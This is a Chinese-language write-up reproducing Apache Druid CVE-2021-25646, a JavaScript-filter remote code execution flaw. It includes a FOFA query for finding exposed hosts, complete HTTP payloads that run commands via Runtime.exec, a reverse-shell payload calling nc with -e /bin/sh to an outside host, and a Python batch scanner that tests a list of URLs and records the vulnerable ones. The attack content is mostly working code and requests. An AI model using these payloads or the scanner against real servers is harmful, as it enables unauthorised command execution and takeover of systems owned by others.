Apache Druid远程代码执行漏洞复现(CVE-2021-25646)

漏洞描述

Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。

影响版本

Apache Druid < 0.20.1

漏洞环境以及复现

fofa搜索:

1
title="Apache Druid"

测试漏洞是否存在

打开第一个网址,访问特定目录,目录存在:

1
/druid/indexer/v1/sampler

利用bp抓包,发送payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /druid/indexer/v1/sampler HTTP/1.1
Host: xxx.xxx.xxx.xxx​:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 995
Connection: close


{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping 你的dns平台的地址')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

注意里面有你的dns平台的地址

成功执行

发送请求即可命令执行(替换为自己要执行的命令)

反弹shell请求包

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /druid/indexer/v1/sampler HTTP/1.1
Host: xxx.xxx.xxx.xxx​:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 1008
Connection: close


{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec(' nc xxx.xxx.xxx.xxx 9999 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

批量脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import click
import requests
import sys
import json

requests.packages.urllib3.disable_warnings()

def title():
    print('+------------------------------------------')
    print('+  \033[34mVersion: Apache Druid < 0.20.1                                              \033[0m')
    print('+  \033[36m使用格式:  python3 cve-2021-25646.py                                           \033[0m')
    print('+------------------------------------------')


def scan(host):
    global rep
    url = str(host)+"/druid/indexer/v1/sampler"
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",
        "Accept": "application/json, text/plain, */*",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Content-Type": "application/json"
    }
    payload = {
        "type":"index",
        "spec":{
            "ioConfig":{
                "type":"index",
                "inputSource":{
                    "type":"inline",
                    "data":"{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"
                },
                "inputFormat":{
                    "type":"json",
                    "keepNullColumns":True
                }
            },
            "dataSchema":{
                "dataSource":"sample",
                "timestampSpec":{
                    "column":"timestamp",
                    "format":"iso"
                },
                "dimensionsSpec":{

                },
                "transformSpec":{
                    "transforms":[],
                    "filter":{
                        "type":"javascript",
                        "dimension":"added",
                        "function":"function(value) {java.lang.Runtime.getRuntime().exec('ping i4l1e3.dnslog.cn')}",
                        "":{
                            "enabled":True
                        }
                    }
                }
            },
            "type":"index",
            "tuningConfig":{
                "type":"index"
            }
        },
        "samplerConfig":{
            "numRows":500,
            "timeoutMs":15000
        }
    }
    try:
        rep = requests.post(url=url, headers=headers, data=json.dumps(payload), timeout=5, verify=False)
    except:
        print("漏洞不存在")

    if rep.status_code == 200:
        print("\033[36m + " + url + "漏洞存在,请前往dnslog平台再次确认")
        with open("druid_漏洞结果.txt", "a+") as f:
            f.write(url + "\n")

    else:
        print("漏洞不存在")


def main():
    title()
    with open("要测试的url.txt", "r+") as f:
        lines = f.readlines()
        for line in lines:
            host = line.strip()
            scan(host)


if __name__ == '__main__':
    main()
0%